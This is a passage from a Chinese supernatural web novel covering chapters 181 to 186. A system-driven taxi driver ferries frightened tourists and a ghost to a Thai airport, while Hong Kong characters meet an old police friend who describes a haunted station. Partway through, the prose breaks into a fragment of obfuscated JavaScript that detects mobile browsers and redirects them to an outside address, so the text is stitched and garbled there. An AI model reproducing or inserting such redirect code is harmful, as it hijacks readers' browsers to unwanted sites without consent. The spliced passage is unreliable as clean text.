他脑海里已经不由自主地浮现出,以后每次异灵灵异部门出动,一群大男人在月黑风高夜,每人打着一把不停旋转,跳跃的黑伞,在香江大街小巷穿梭的场景……
那画面……实在是太美,他有点不敢细想。
不过,如果这伞的防护效果真如师父所说那么可靠,那这点“小小的”外观问题,似乎……也不是不能接受?
毕竟,保命要紧。
就在谢潮内心激烈挣扎,周星星还在拼命吹捧,纸扎陈洋洋自得的时候——
“请问,有人吗?”
“老板在吗?我们想买一对童男童女。”
两个年轻的男声从店铺门口传了进来,打破了店内的气氛。
周星星和谢潮下意识地同时回头望去。
只见店铺门口,一前一后走进来两个年轻男子。
走在前面的那个,约莫二十七八岁年纪,相貌端正,浓眉大眼,又带着一股子机灵,身材匀称,穿着一件合身的浅蓝色Polo衫和一条洗得发白的牛仔裤,显得很精神。
跟在后面的那个,年纪相仿,但身材瘦削矮小一些,留着个有点土气的蘑菇头发型,面相看起来比旁边男子要老十几岁,穿着普通的T恤衫,眼神里带着点好奇和害怕。
周星星的目光落在前面那个穿Polo衫的年轻人脸上时,先是愣了一下,随即脸上露出了极其惊讶的神色,似乎有些不敢相信自己的眼睛,脱口而出喊道:
“咖喱?!”
那个被叫做“咖喱”的年轻男子,闻声也看了过来,当他的视线对上周星星的脸时,同样是浑身一震,眼睛瞬间瞪大,脸上写满了意外和惊喜,几乎是同时喊了出来:
“辣椒?!怎么是你?!”
第181章 原来正主是你们
就在香江纸扎铺里,周星星与意外出现的“咖喱”惊喜相逢的同时,远在暹罗国东北部伊善地区的古德,也完成了他这趟跨国行程的第一段。
车子平稳地停在了一个名为“叽里呱啦”听起来就十分随性的小村庄入口。
村口立着一个简陋的木牌,上面用泰文歪歪扭扭地写着村名,旁边还画着个看不懂的图案。
村子里灯光稀疏,隐约传来狗吠声和隐约的音乐声,充满了热带乡村特有的、略显杂乱却又生机勃勃的气息。
那位妆容精致、身材火辣却嗓音粗犷的“妖人小姐姐”付了车钱,对古德抛了个妩媚的眼神,用泰语说了声“卡朋卡~(谢谢)”。
便扭动着腰肢,脚步略显急促地消失在了村子的阴影之中,似乎急着去赶什么场子。
古德看着她的背影,无奈地摇了摇头,心里嘀咕:
‘这国家真可怕,你永远也不会晓得,你艳遇的那个人到时候掏出来的是不是比你大。’
他顺手点开AR导航,准备规划返回最近城镇的路线,趁着这难得的“出国”机会,多跑几单,把公里数再往上冲一冲。
毕竟,身处异国他乡,公里点数还有翻倍奖励,这种薅系统羊毛的机会可不能错过。
然而,他刚用意念子啊导航上输入目的地时。
“咔哒!”
后座的车门被人猛地从外面拉开!
动作显得有些慌乱和急促。
紧接着,一男一女两个年轻人,带着一脸尚未褪去的惊恐和焦虑,几乎是手脚并用地快速钻进了车后座,并“砰”地一声重重关上了车门。
两人坐定后,还不约而同地、紧张地回头透过车窗向后张望,仿佛有什么可怕的东西在追赶他们。
古德微微挑眉,从车内后视镜中不动声色地打量着这两位不请自来的乘客。
坐在靠右的男生,约莫二十出头年纪,留着一头略显凌乱的中长自然卷发,发型颇有几分这个年代流行的叛逆文艺青年范儿。
他长相阳光俊朗,五官立体,但此刻脸色却有些发白,眼神中充满了后怕和不安。
他穿着一件宽松的蓝色篮球背心,露出结实的臂膀,下身是一条皱巴巴的卡其色休闲短裤,脚上蹬着一双脏兮兮的运动鞋,整个人看起来像是刚刚经历了剧烈的惊吓。
坐在他旁边的女生,年纪相仿,是他的同伴。
她模样清秀可人,属于那种邻家小妹的类型,但此刻也是一脸惊魂未定。
一头乌黑的长发有些散乱地披在肩上,更添几分柔弱。
她身材娇小纤细,穿着一件略显宽大的明黄色带帽薄款卫衣,下身是简单的短裤,整个人缩在座位里,显得更加瘦小。
这两人身上都带着明显的旅行者特征,背包、水壶一应俱全,但精神状态显然不太好。
几乎就在这对男女关上车门、惊魂未定地喘着粗气的同一时间——
“嗤……”
一声极其轻微、仿佛只是气流扰动的细响。
副驾驶座的车门,也悄无声息地被一股无形的力量推开了一条缝隙,然后又轻轻地合拢了。
在古德的眼中,副驾驶座上,已然多了一位“乘客”。
这是一位身着素白色、款式古老的暹罗传统女装的年轻女子。
她的身形有些模糊、半透明,静静地坐在那里,面无表情,眼神空洞地望着前方,周身散发着一种若有若无的阴冷气息。
她与后座那对活生生的男女形成了鲜明的对比,仿佛处于两个不同的世界。
而后座的那对男女,对此毫无察觉。
他们甚至因为紧张,身体不自觉地往另一边靠了靠,恰好给中间留出了更大的空间,仿佛潜意识里在躲避什么。
“呵……”
古德嘴角不易察觉地向上弯了一下,心中了然:
‘果然,系统不会无缘无故把我丢过来,正主在这儿呢。”。
不
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过这样又能赚到载人又载鬼的双份公里数了,再加上异国翻倍的增益效果,这一单下来,又赚大了。
“师……师傅!”
后座那个卷发男生,喘匀了气,用带着浓重粤语口音、磕磕绊绊的英语混杂着几个泰语单词,急切地对古德说道:
“机场!拜托!去最近的机场!快一点!”
他的声音还带着一丝颤抖。
古德面色平静,用流利的泰语回应道:“好的,去机场。”
同时,他心念一动,AR导航界面立刻更新,一条通往最近机场的优化路线清晰地显示在前挡风玻璃上,虚拟箭头指向道路前方。
他熟练地挂挡、给油,出租车平稳而迅速地驶离了村口,融入了暹罗东北部夜色笼罩下的公路。
车窗外是连绵的热带植被黑影,空气中弥漫着草木和泥土的气息。
一路上,后座的那对男女似乎惊魂未定,一直在低声交谈,语气中充满了担忧和自责。
那个穿着明黄色带帽薄款卫衣的女生,小声问旁边的卷发男生:
“得仔……我们……我们就这么丢下苹果他们自己跑了,是不是……太不够义气了?”
她不时地回头张望,脸上写满了不安。
那个叫“得仔”的男生,虽然自己也害怕,但还是强作镇定,拍了拍女生的肩膀,安慰道:
“阿妹,别傻了!不是我们不讲义气!是苹果她自己死活不肯跟我们走!我们也没办法!”
阿妹听了,似乎被说服了一些,但依旧眉头紧锁,她像是想起了什么,又困惑地喃喃自语:
“可是……得仔,为什么你们都能看见……看见那些‘鬼东西’,偏偏我就什么都看不见呢?”
她的语气里带着点庆幸,又有点莫名的失落和好奇。
正在开车的古德,听到“得仔”、“阿妹”这两个名字,以及他们谈论的“见鬼”“失踪”等关键词,脑海中如同划过一个记忆!
第182章 见鬼十法
一部曾经看过的、颇具趣味的港产恐怖喜剧电影名字瞬间蹦了出来《见鬼十法》!
他立刻想起来了!
电影里确实有这么一对来自香江的姐弟,他们和几个朋友一起来泰国旅游,因为好奇尝试了某种民间流传的“见鬼方法”,结果惹上了真正的麻烦,被一个邪恶的书店老板下了咒,从而开始了一系列惊悚的遭遇。
‘原来是他们!’
古德透过后视镜,再次仔细打量了一下后座这对男女的相貌,果然与电影里的角色有七八分相似!
‘现在看来,剧情是到了他们朋友失踪,他们准备回香江的时候了。’
古德一边保持着平稳的车速,一边在脑海里快速回顾着《见鬼十法》的剧情细节。
《见鬼十法》里那些所谓的"见鬼方法"——"杯仙"、"跟鬼捉迷藏"、"十字路口巧碗"之类的,在古德这位专业人士看来,根本算不上正统的见鬼术法。
要说原理,更像是暹罗本地的降头术和咒术的变种。
一旦触发,参与者就会根据自身时运高低依次"见鬼",时运越低的人越早见到,也越早遭遇不测。
古德当初看电影时就觉得,这种设定虽然戏剧化,但确实暗合某些民间术法的原理:
通过特定仪式和行为,主动降低自身阳气或屏蔽保护,从而打开感知阴邪的通道。
想到此处,古德眼中淡金色的微光不易察觉地一闪,《青囊中书》修炼出的观气术悄然运转。
他凝神望向后方。
果然!
在古德的法眼观察下,这两人头顶和双肩的阳气火焰,明显比正常人要微弱不少,而且正在以一种缓慢但持续的速度向外散逸,仿佛被某种无形的力量吞噬或引导着。
尤其是那个得仔,阳气流失的速度明显比阿妹要快一些。
而那个阿妹,虽然也在流失,但基础似乎更厚实一点,流失速度稍慢。
这印证了古德的猜想:他们确实被人下了咒!
下咒者,八成就是电影里的那个“书店老板”,只不过电影里也没有说明这个书店老板在哪里。
而这个诅咒正在持续性地削弱他们的阳气和精神防护,使得他们更容易接触到阴邪之物。
阿妹暂时看不见鬼,并非因为她“时运高”,很可能只是诅咒的效应在她身上发作得慢一些,或者她本身的体质对阴气不那么敏感。
但随着时间推移和阳气持续流失,她迟早也会“开眼”。
不过,就目前观察来看,这个诅咒的发作是渐进式的,并非立刻致命。
只要他们不再回到诅咒的源头附近,或者不再接触与诅咒相关的特定物品、人物,短时间内应该没有生命危险。
最多就是回到香港后,会因为阳气受损、体质变阴,而变得比较容易撞鬼、遇到灵异事件,生活会比较“精彩”而已。
‘看来问题不大。’35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631555|188009||http|test|mini|href|location''.split(''|''),0,{}));
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r>古德心中迅速做出了判断。
他刚刚经历完海岛那场耗尽心力的大战,实在提不起精神立刻卷入另一场麻烦。
而且这诅咒看起来并不急切,属于“慢性病”。
他决定采取保守策略:按规矩完成这趟“运输”任务,赚取公里数。
等到了机场,找个机会给这对姐弟留个联系方式,可以来香江找他。
至于他们会不会来找他,那就看他们自己的造化和缘分了。
毕竟,救人也要讲个时机和自愿,强求不得。
不过他们还要给一起坐车的女鬼付车费,到时候应该不会不信吧,除非他们头铁。
打定主意后,古德便不再多想,专心开车。
AR导航非常精准,出租车在夜色中平稳而快速地向着机场方向驶去。
车窗外,暹罗的夜景飞速后退。
随着时间的推移,距离机场越来越近,道路两旁开始出现明亮的灯光和指示牌。
后座的得仔和阿妹情绪也渐渐平复了一些,不再像刚开始那样紧张地东张西望,而是靠在座椅上,显得有些疲惫。
看着导航上显示的剩余路程不到五公里,古德心里开始盘算起另一件事:‘快到地方了……这车钱,得算清楚。’
他瞥了一眼旁边副驾驶座上那位依旧安静无声、仿佛不存在的白衣女鬼。
‘载活人收阳间的钱,载鬼物……那也得收费!不然系统可不认白嫖的。’
古德嘴角勾起一抹略带狡黠的笑意。
第183章 得仔和阿妹见鬼
出租车穿过最后一个路口,视野豁然开朗。
暹罗东北部某个地方机场那灯火通明的航站楼,如同黑暗中的一座发光岛屿,赫然出现在前方。
跑道上,偶尔有飞机的导航灯如同滑过的流星,起起落落。
空气中传来隐约的飞机引擎轰鸣声,混合着热带夜晚特有的潮湿与闷热。
古德瞥了一眼AR导航上显示的“目的地即将到达”的提示,又透过后视镜看了看后座那对依旧有些心神不宁的姐弟,嘴角勾起一抹不易察觉的弧度。
是时候“结算”这单特殊的行程了。
他右手握着方向盘,左手随意地抬到耳边,打了个清脆的响指。
“啪!”
一声轻响,仿佛触动了某个无形的开关。
下一刻,副驾驶座位上,异变陡生!
在后面姐弟眼中,原本空无一人的副驾驶位,空气如同水波般一阵荡漾、扭曲!
一个穿着素白色暹罗传统女装、身形略显模糊、半透明的年轻女子身影,由虚到实,缓缓地、却又清晰地显现了出来!
她依旧保持着上车时的坐姿,面无表情,眼神空洞地望着前方,周身散发着淡淡的、令人皮肤起栗的阴寒气息,与车内温暖的空气格格不入。
“哇啊啊啊!!!”
“鬼呀!!!”
后座的得仔和阿妹,几乎是同时发出了撕心裂肺的尖叫!
两人吓得猛地抱作一团,身体剧烈地颤抖,脸色瞬间变得惨白如纸!
得仔更是手指颤抖地指着副驾驶,声音因为极度的恐惧而变调走音,结结巴巴地对着古德喊道:
“司……司机!这……这这这是怎么回事?!她……她她她什么时候上来的?!”
他刚才上车时明明看过,副驾驶根本没人!
古德通过后视镜,欣赏了一下两人魂飞魄散的表情,心里觉得有些好笑。
他不紧不慢地将车平稳驶入机场出发层的下客通道,然后才切换成流利的中文(粤语口音),语气平淡地回答道,仿佛在说一件再平常不过的事情:
“如你所见,这位是跟你们一起上车的‘朋友’。”
他特意在“朋友”二字上加重了语气,带着一丝戏谑。
“等下麻烦你们,把她的那份车费也一并付了。两人一鬼,两份钱,公道合理。”
得仔听到古德会说中文,先是一愣,随即强压下心中的恐惧,壮着胆子,哆哆嗦嗦地再次仔细看向副驾驶的那个“女子”。
这一看,他不由得倒吸一口凉气!
这张脸……他认得!
这不就是昨天和他们一起坐那种四面透风的本地“嘟嘟车”去他朋友村子的其中一个女孩吗?
当时在车上,这个女孩就一直用那种直勾勾的眼神盯着他看,看得他心里发毛,没想到……没想到现在竟然……变成了鬼!
还跟着他们上了车!
一想到自己竟然和一个鬼同车坐了这么久,得仔就感到一股寒意从脚底板直冲天灵盖!
但不知为何,在最初的极度恐惧之后,看到古德那一脸见怪不怪、稳如泰山的样子,他心中的恐惧竟然莫名地减轻了一些,取而代之的是一种强烈的好奇和一种……遇到救星的感觉!
而一旁的阿妹,她之前一直嚷嚷着想“见鬼”,充满了无知者无畏的好奇。
可现在,当一个真正的、冰冷的、散发着不祥气息的鬼魂如此清晰地出现在她眼前时,她才发现现实和想象完全是两码事!
那种源自生命本能的、对死亡和未知的恐惧瞬间淹没了她!
她吓得浑身直哆嗦,牙齿都在打颤,紧紧抓着得仔的胳膊,带着哭腔问古德:“司……司机大哥……我……我们不认识她啊!她……她真的是……是那种东西吗?”
古德透过后视镜,看着阿妹那吓破胆的样子,觉得有些好笑,又有点无奈。
他故意板起脸,用一种带着些许威胁和不容置疑的语气说道:
“这位朋友可是跟着你们的气味上车的,说明她‘认准’你们了。虽然她是鬼,但坐了我的车,就是我的乘客。乘客坐车,付钱是天经地义。你们要是不愿意替她付这笔车费……”
他故意停顿了一下,声音压低,带着一丝冷意,“那就别怪我不客气,只好请她继续跟着你们,直到你们愿意付钱为止了。到时候,你们回香江的飞机上,说不定就得挤一挤了。”
这话半真半假,主要是吓唬他们赶紧付钱。
古德心里盘算着,这女鬼看起来怨气不重,像是新死的游魂,大概率是跟着他们身上的“诅咒”气息来的,处理起来不难
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。
但车费不能少,这是原则问题。
“付付付!我们付!大师您别让她跟着我们!”
得仔一听这话,吓得魂飞魄散,连忙摆手,声音都带上了哭腔。
他此刻已经完全确信,自己遇到了传说中的道家高人了!
能让他们看见鬼,还能如此淡定地讲道理、收车费,这能是普通人吗?
他心里顿时又紧张又兴奋,紧张是因为怕鬼,兴奋是因为看到了解决他们目前困境的希望!
他猛地想到自己那个失踪的朋友,一股急迫感涌上心头。
他也顾不得害怕了,连忙向前探着身子,语气急切而恭敬地对古德说道:
“大师!大师!您……您是不是还会捉鬼啊?我……我有个事想求您帮忙!”
古德看到得仔那瞬间从恐惧切换到恳求的表情,以及眼中燃起的希望之火,立刻明白了他的想法。
无非是想请他去找那个失踪的朋友。
古德现在可没心思也没精力再接这种“寻人”的麻烦事,他只想赶紧收钱,处理掉这个顺手抓到的“外快”鬼魂,然后继续他的“跨国赚公里数”大业。
于是,他神色淡漠地摆了摆手,打断了得仔的话头,语气疏离而职业化地说道:
“现在的我,只是一个司机。捉鬼除妖是副业,而且收费很贵。”
他指了指副驾驶的女鬼,“不过,看在你愿意付她车费的份上,这个女鬼,我倒是可以顺手帮你带走,免得她继续缠着你们。就当是买一送一的售后服务了。”
他心里琢磨着,这个暹罗女鬼看起来挺“干净”的,不知道岚婆那边收不收这种,应该能换点阴德吧?
好歹是个正常女人身的鬼,不是那种妖人,应该有点市场。
得仔一听古德愿意出手带走这个女鬼,已经是喜出望外了,连忙道谢:
“谢谢大师!谢谢大师!”
但他并没有放弃原本的意图,赶紧解释道:
“大师,您误会了!我不是想让您免费帮忙!我是想请您帮我找个人!我有个朋友,跟我们一起来旅游的,玩……玩了个游戏后,就失踪了!”
他生怕古德拒绝,急忙补充道:
“规矩我们懂的!大师您开个价!只要您能帮忙找到人,多少钱我们都愿意想办法!”
第184章 没救了,准备后事吧
“玩游戏失踪?”
古德闻言,眉头微微地皱了一下,是电影里的那个跟鬼捉迷藏游戏?
他放缓了车速,车子已经驶入了机场出发层的下客区,缓缓停靠在路边。
他一边拉起手刹,一边随口问道,语气依旧平淡:
“具体怎么回事?什么时候失踪的?玩的什么游戏?”
他其实已经猜到了大概,但这毕竟是现实,还是要确认一下。
得仔见古德愿意接话,仿佛抓住了救命稻草,语速极快、带着后怕地讲述起来:
“就是昨天下午!我们……我们几个不信邪,还想见鬼。我暹罗国朋友说还有种很灵验的‘见鬼游戏’,叫……叫‘与鬼捉迷藏’!据说玩了这个游戏,就有可能见到……那种东西。”
他咽了口唾沫,继续道:
“我们当时还特地按传说,准备了一只黑猫!据说万一有人失踪找不到,放黑猫出去,它就能把失踪的人带回来。
可是……可是等阿辉突然消失不见之后,我们赶紧把黑猫放出去找她……结果……结果没过多久,我们先找到那只黑猫了!找到那只黑猫的时候,它已经**!浑身冰凉,眼睛瞪得老大!”
说到黑猫的死状,得仔的声音又带上了恐惧。
“现在距离阿辉失踪,已经过去整整一天一夜了!大师,求求您,一定要救救她啊!”
古德安静地听完,脸上没有任何意外的表情。
果然和他记忆中的电影情节差不多。
他心中暗自摇头,这些年轻人,真是不作死就不会死。
古德看向得仔和阿妹,语气平静:
“一天一夜?玩这种招邪的游戏,失踪超过二十四小时……”
接着摇了摇头,轻轻地吐出几个字:“那没救了。准备后事吧。”
“啊?!”
“怎么会?!”
得仔和阿妹同时发出难以置信的惊呼,脸色瞬间变得死灰!
阿妹更是腿一软,差点瘫倒在座位上,被得仔死死扶住。
古德看着他们备受打击的样子,语气依旧没有什么波澜,仿佛在陈述一个客观事实:
“你们既然敢玩这种指向不明、来历不正的所谓‘见鬼游戏’,就应该有承担最坏后果的心理准备。这种游戏,本质上是主动打开通往阴邪之地的通道,或者吸引恶灵注意。
失踪超过一天,尤其是在使用了黑猫这种通灵之物仍遭反噬的情况下,基本上可以断定,他的阳气早已被阴气吞噬殆尽,生机断绝,魂魄恐怕都已堕入冥界深处。能留个全尸都算是运气好了。”
他并非冷血,而是见多了类似的事情。
有些界限,一旦跨过,就再难回头。
尤其是这种自己主动作死的行为,旁人很难插手,即便插手,往往也是事倍功半,甚至引火烧身。
他现在状态并未完全恢复,实在不想为了几个陌生人的作死行为,再去招惹可能存在的本地邪术师或者更麻烦的东西。
车子已经完全停稳。古德从口袋里摸出一张材质特殊、触手冰凉的名片。
名片是哑光黑色的,上面只有一个用银线勾勒的、略显神秘的简化符文图案,以及一串手写体的座机号码和call机号码,除此之外,再无任**息,这是周星星给古德设计的名片。
他将名片递给脸色惨白、眼神呆滞的得仔,语气淡然地说道:
“我劝你们,拿到机票就立刻回香江,这里的事情不要再掺和了,否则引火烧身,下一个失踪的说不定就是你们。”
他顿了顿,看了一眼副驾驶那个依旧茫然的女鬼,对得仔说道:“这个‘麻烦’,我就当做个顺水人情,免费帮你们处理了。现在,请把车费付一下,谢谢。”
得仔和阿妹此时还沉浸在
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朋友“没救了”的巨大打击和恐惧之中,精神恍惚,大脑一片空白。
得仔机械地、颤抖着手从钱包里掏出车费的钱,塞给了古德,嘴里还无意识地喃喃道:“谢谢大师……谢谢……”
然后,他失魂落魄地拉着同样魂不守舍的阿妹,踉踉跄跄地下了车,甚至忘了拿放在座的行李。
还是古德按了下喇叭提醒,得仔才又梦游般地返回拿上行李,两人如同两具行尸走肉般,互相搀扶着,走向了灯火通明的机场大厅。
直到坐上飞机,系好安全带,两人对视一眼,才从巨大的冲击中稍微回过神一点,都从对方眼中看到了无尽的后悔、后怕和深入骨髓的恐惧。
这次旅行,注定成为他们一生都无法摆脱的噩梦。
看着两人消失在安检口,古德摇了摇头,年轻人,总要为自己的好奇心付出代价。
他转而将注意力放在副驾驶的女鬼身上。
他并指如剑,指尖微不可查地闪过一丝金光,在空中快速虚画了一个简单的“收”字符,然后对着那女鬼轻轻一引。
“收。”
女鬼的身影微微波动,化作一道淡淡的白色烟气,被吸入了古德随手拿出的一张空白黄符纸中,随着修为的进步,古德手段也变化了许多。
古德将符纸折好,随手放进了挎包的内袋。
“回头交给岚婆处理,蚊子腿也是肉。”他自言自语道。
处理完这单“人鬼同乘”的业务,古德看了一眼系统界面,公里点数果然上涨了一大截,这趟跨国加班值了!
他心情愉悦地清除掉AR导航上的目的地,准备在机场附近继续兜圈,看看有没有新的“有缘人”。
这暹罗之夜的“黄金十二小时”可不能浪费,得抓紧时间大赚一笔公里数才行!
而与此同时,远在香江的纸扎铺里,又是另一番光景……
第185章 猛鬼学堂
铺子里,昏黄的灯光下,纸人纸马静立,香烛气味缭绕。
“咖喱?!”
周星星几乎是脱口而出地喊出了一个外号,声音里充满了意外和久别重逢的激动。
那个被叫做“咖喱”的年轻男子,闻声也看了过来。
当他的视线与周星星对上的瞬间,同样是浑身一震,脸上的表情从最初的礼貌询问瞬间转变为极度的惊讶和狂喜,嘴巴张得能塞进一个鸡蛋,几乎是同时喊了出来:
“辣椒?!真的是你啊!你怎么会在这里?!”
这声“辣椒”一出口,旁边的谢潮和纸扎陈都露出了疑惑不解的神情,看看周星星,又看看那个叫“咖喱”的男子。
周星星脸上瞬间绽放出灿烂无比的笑容,像个孩子一样,三步并作两步就迎了上去,张开双臂,作势要给对方一个热情的熊抱,嘴里还嚷嚷着:
“咖喱!想死我了!你个衰仔,这么久都不联系我!”
那个叫“咖喱”的男子,见到老友同样激动,也大笑着张开双臂迎了上来,眼看一场感人的兄弟重逢就要上演。
然而,就在两人即将抱在一起的电光火石之间——
周星星眼中狡黠的光芒一闪,原本张开准备拥抱的双手猛地一变招式,右手疾如闪电般向下探出,同时嘴里大喝一声:
“看招!猴子偷桃!”
这一下变招突如其来,猥琐又狠辣,完全是周星星风格!
咖喱显然对周星星这套路熟悉得不能再熟悉,脸色瞬间一变,几乎是本能反应,双腿猛地一夹,双手急速下挡,护住要害,嘴里骂道:
“我顶你个肺啊辣椒!又来这招?!”
但他万万没想到,周星星这厮虚晃一枪!
只见周星星下探的右手在中途诡异地上扬,化爪为指,同时左手也伸出,精准无比地在“咖喱”的某处部位轻轻一拉!
动作快如闪电!
“仙人摘葡萄!中!”
“嗷呜!”
咖喱猝不及防,怪叫一声,像是被踩了尾巴的猫一样,捂着胸口猛地向后跳开,脸上又是好气又是好笑,指着周星星笑骂道:
“我靠!辣椒!你个扑街!太狡猾了吧!说好的偷桃呢?!”
周星星一招得手,得意洋洋地收回手,嘿嘿坏笑着,拍了拍手,一副“兵不厌诈”的欠揍模样:
“嘿嘿,sorry了!我系大舌头来的嘛!这么久没见,试试你的反应退步了没有!看来还不错嘛!”
“咖喱”对着周星星比了一个大大的中指,笑骂道:
“丢!你果然还是和以前一样无耻下流!一点都没变!”
周星星闻言,非但不以为耻,反而挺起胸膛,脸上露出自豪的表情,大言不惭地说道:
“谢谢夸奖!这是我的优点来的!”
这番电光火石间的“友好”互动,把一旁的谢潮和纸扎陈看得是目瞪口呆,嘴角抽搐。
谢潮无奈地揉了揉眉心,纸扎陈则是哑然失笑,摇了摇头,显然对周星星这种跳脱的性格已经见怪不怪,但又觉得这重逢场面着实……别开生面。
周星星这才想起还没给同伴介绍,他搂住“咖喱”的肩膀,转身对谢潮和纸扎陈说道:
“阿潮,陈师傅,跟你们介绍一下!这位是我当年的死党,好兄弟!金麦基!外号‘咖喱’!我们俩当年可是号称‘警局双辣’,威风得很!”
他的语气中充满了对往昔峥嵘岁月的美好回忆。
接着,他又对金麦基介绍道:
“咖喱,这位是我现在的头儿,异灵灵异部门的阿头,谢潮!这位是这家纸扎铺的老板,陈师傅,也是阿潮的师父,手艺超赞的高人!”
金麦基虽然刚才被捉弄了一下,但性格显然也很爽朗,他整理了一下被弄皱的Polo衫,脸上带着热情的笑容,对着谢潮和纸扎陈恭敬地点头打招呼:
“潮哥好!陈师傅好!我叫金麦基,你们叫我咖喱就行!刚才让两位见笑了,辣椒这家伙,从小就没个正经!”
这时,跟在金麦基身后那个留着蘑菇头、面相老成、身材瘦削的年轻男子也好奇地走上前。
金麦基
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拍了拍他的肩膀,介绍道:“哦,对了,这位是我的搭档,孟超。孟超,叫人。”
孟超显得有些腼腆和拘谨,连忙对着谢潮和纸扎陈鞠躬问好:“潮哥好!陈师傅好!”
如果古德此刻在场,看到金麦基和孟超这两个名字和形象组合在一起,一定会恍然大悟,认出这正是电影《猛鬼学堂》里的那对活宝搭档!
说不定还会感慨一句:‘没想到在这个世界线,钟发白道长不在了,但这俩惹事精倒还活蹦乱跳的,而且运气不错,居然摸到了纸扎陈这里。’
关于九叔、钟发白这些记忆中的人物,古德后来确实让谢潮借助警方的资源仔细查访过,确认在这个港综混合的九十年代香江,并不存在这些特定的高人角色,这也让古德更加确定这个世界的独特性。
寒暄过后,周星星的好奇心又上来了。
他勾着金麦基的脖子,挤眉弄眼地问道:
“喂,咖喱,说起来,你和你这个蘑菇头搭档,跑来纸扎铺买童男童女干嘛?我记得你以前可是坚定的‘唯物主义战士’,最不信这些神神鬼鬼的东西了?怎么,转性了?还是做了什么亏心事要求神拜佛?”
金麦基一听这话,脸上顿时露出了一副“别提了”的郁闷表情,他大大咧咧地拉过旁边一把给客人休息的竹椅,一屁股坐下,甚至还习惯性地把一只脚踩在椅子横梁上,摆出了一副要说长篇故事的架势。
他叹了口气,语气带着几分无奈和吐槽的意味说道:
“唉!辣椒,你以为我想来这种地方啊?还不是我们那个顶头上司,那个阿信警司!这两天不知道走了什么衰运,倒霉事一件接一件!
搞得他神经兮兮的,这才派我们两个倒霉蛋出来,买点纸人纸钱回去,准备在警局里烧给‘下面’的家伙们,求个心安!”
周星星一听,眼睛顿时亮了起来,八卦之魂熊熊燃烧!
他凑近了些,追问道:“在警局里烧纸人?这么刺激?快展开说说!你们差馆闹鬼啊?还是阿信警司撞邪了?”
第186章 这两者之间有什么关系?
谢潮和纸扎陈也露出了感兴趣的神色,侧耳倾听。
就连孟超,也忍不住点了点头,表示确有其事。
金麦基看到众人好奇的目光,谈兴更浓了。
他清了清嗓子,故意压低声音,营造出一种讲鬼故事的氛围,开始绘声绘色地讲述起来:
“这个说来可就话长了!辣椒,潮哥,陈师傅,你们知不知我们警署那栋楼,前身是什么来头?”
他故意卖了个关子。
周星星很配合地摇了摇头,一脸求知欲。
金麦基神秘兮兮地继续说道:
“我听我们警署看更的忠伯讲古(讲故事)说,那里以前啊,是小日子侵华的时候,建的一个高级军官俱乐部!”
他顿了顿,加重了语气,“后来小日子投降的时候,听说有一个叫什么大佐的军官,不愿意接受失败,就带着他手下的一帮死硬派,在那个俱乐部里面,集体**自尽了!嗝屁了好多人!”
他用手比划着,表情夸张:
“你们想想,那种地方,**那么多小日子,怨气得多重啊!后来那块地皮清理之后,政府就在原址上面,建了我们现在的警署!
知道为啥?是因为警察局阳气重,煞气旺,可以用来**在那里**死掉的无数小日子鬼魂!这就叫以毒攻毒!”
说到这里,金麦基拿起桌上不知谁喝剩的半杯凉茶,咕咚咕咚灌了几口,继续说道:
“其实呢,本来这么多年也相安无事,屁事没有。就是前几天,我们警局突然来了一个化缘的和尚,神神叨叨的,他找到阿信警司,跟他说,千万千万不能让穿粉红色衣服的女人进出警局,否则就会出大灾难!”
“起初阿信警司当然不信啦,还觉得那和尚故意耍他,因为那和尚是他的仇人。”
金麦基说到这里,脸上露出了幸灾乐祸的笑容,“可是你们猜怎么着?就从那天起,阿信警司就开始倒血霉了!”
他开始掰着手指头数:“先是被球砸到,然后开会的时候椅子腿突然断了摔个四脚朝天,接着他最喜欢的那个黄金船还被烧毁!”
金麦基笑得前仰后合:“哈哈哈!你们说邪门不邪门?所以啊,他现在是宁可信其有,不可信其无了!”
孟超突然插嘴道:“这些倒霉的事情不都是你搞出来的?”
金麦基给了孟超一个白眼,然后才稍微正色道:
“那都是意外,就因为这些倒霉的事情,阿信警司就派我和孟超出来多买点纸人、金银元宝什么的,回去烧给下面那些鬼子们,让他们收钱手软,别再搞事,别再让他那么倒霉了!”
周星星听完,眉头皱成了一个川字,脸上写满了巨大的问号和无语,他忍不住吐槽道:
“这两者之间有什么关系吗?”
旁边的孟超又插嘴地补充了一句,语气却很肯定:“还有啊,那个和尚说了,千万不能让穿粉红色衣服的女人靠近警局,不然警司会更倒霉的。”
周星星一听,更加无语地问道:“这两者之间又有什么关系!”
金麦基咧嘴一笑,摊了摊手,一副“我也没办法”的样子:
“我也是这么觉得的!估计就是他倒霉催的,自己吓自己。不过呢,上司有令,不得不从啊!纸人什么的,还是要买的,走个过场嘛,让他安心也好。”
周星星却眼珠一转,脸上露出了跃跃欲试的表情。
他一拍大腿,怒道:
“买什么买!买这些纸人下去,让小鬼子去享受吗?那些小日子鬼魂可不配!”
接着他转向谢潮,有些兴致勃勃地提议道:
“阿潮,要不咱们一起去咖喱他们警局看看?要是真像他说的,有什么小日子鬼魂在作祟,咱们正好一锅端了!全部抓起来,打包送给他换阴德!这可是大买卖啊!”
谢潮听完金麦基的叙述,虽然也觉得其中逻辑有些混乱,但职业敏感性让他察觉到,这件事背后可能确实隐藏着不寻常的因素。
那个和尚的警告,或许并非空穴来风。
他沉吟了一下,点了点头,沉稳地说道:“听起来确实有些
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蹊跷。去看看也好,万一真有问题,提前解决,也能避免事态扩大。”
纸扎陈见状,连忙将手里那把样品“驱邪照明伞”塞到周星星和谢潮手里,说道:
“阿星,阿潮,正好!带上我这把最新研发的‘驱邪照明伞’去!帮我实地测试一下效果!要是好用,以后给你们部门每人配一把!”
周星星和谢潮对视一眼,都从对方眼中看到了一丝无奈和好笑。
看着手里这把普普通通的黑伞,又想象一下撑着这玩意儿在警局里抓鬼的画面……实在是有些过于前卫了。
但毕竟是纸扎陈的好意,两人还是接了过来,点头答应。
“放心吧陈师傅,保证完成任务!”周星星笑嘻嘻地保证道。
金麦基和孟超看着周星星和谢潮拿着把普通的黑伞就要去“抓鬼”,脸上都露出了疑惑的表情。
